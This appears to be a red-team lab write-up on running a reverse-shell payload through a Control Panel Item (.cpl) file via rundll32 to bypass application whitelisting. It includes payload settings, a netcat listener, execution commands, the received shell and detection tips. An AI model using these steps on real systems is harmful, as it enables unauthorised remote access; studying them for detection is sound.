Control Panel Item
Control Panel Item code execution - bypass application whitelisting.
Generating a simple x64 reverse shell in a .cpl format:
set payload windows/x64/shell_reverse_tcp
set lhost 10.0.0.5
[email protected]~# nc -lvp 4444
listening on [any] 4444 ...
We can see that the .cpl is simply a DLL with DllMain function exported:
A quick look at the dissasembly of the dll suggests that rundll32.exe will be spawned, a new thread will be created in suspended mode, which most likely will get injected with our shellcode and eventually resumed to execute that shellcode:
Invoking the shellcode via control.exe:
rundll32.exe shell32.dll,Control_RunDLL file.cpl
rundll32.exe shell32.dll,Control_RunDLLAsUser file.cpl
Attacking machine receiving the reverse shell:
10.0.0.2: inverse host lookup failed: Unknown host
connect to [10.0.0.5] from (UNKNOWN) [10.0.0.2] 49346
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
Note how rundll32 spawns cmd.exe and establishes a connection back to the attacker - these are signs that should raise your suspicion when investingating a host for a compromise:
As always, sysmon logging can help in finding suspicious commandlines being executed in your environment:
$TargetFile = "$env:SystemRoot\System32\calc.exe"
$ShortcutFile = "C:\experiments\cpl\calc.lnk"
$WScriptShell = New-Object -ComObject WScript.Shell
$Shortcut = $WScriptShell.CreateShortcut($ShortcutFile)
$Shortcut.TargetPath = $TargetFile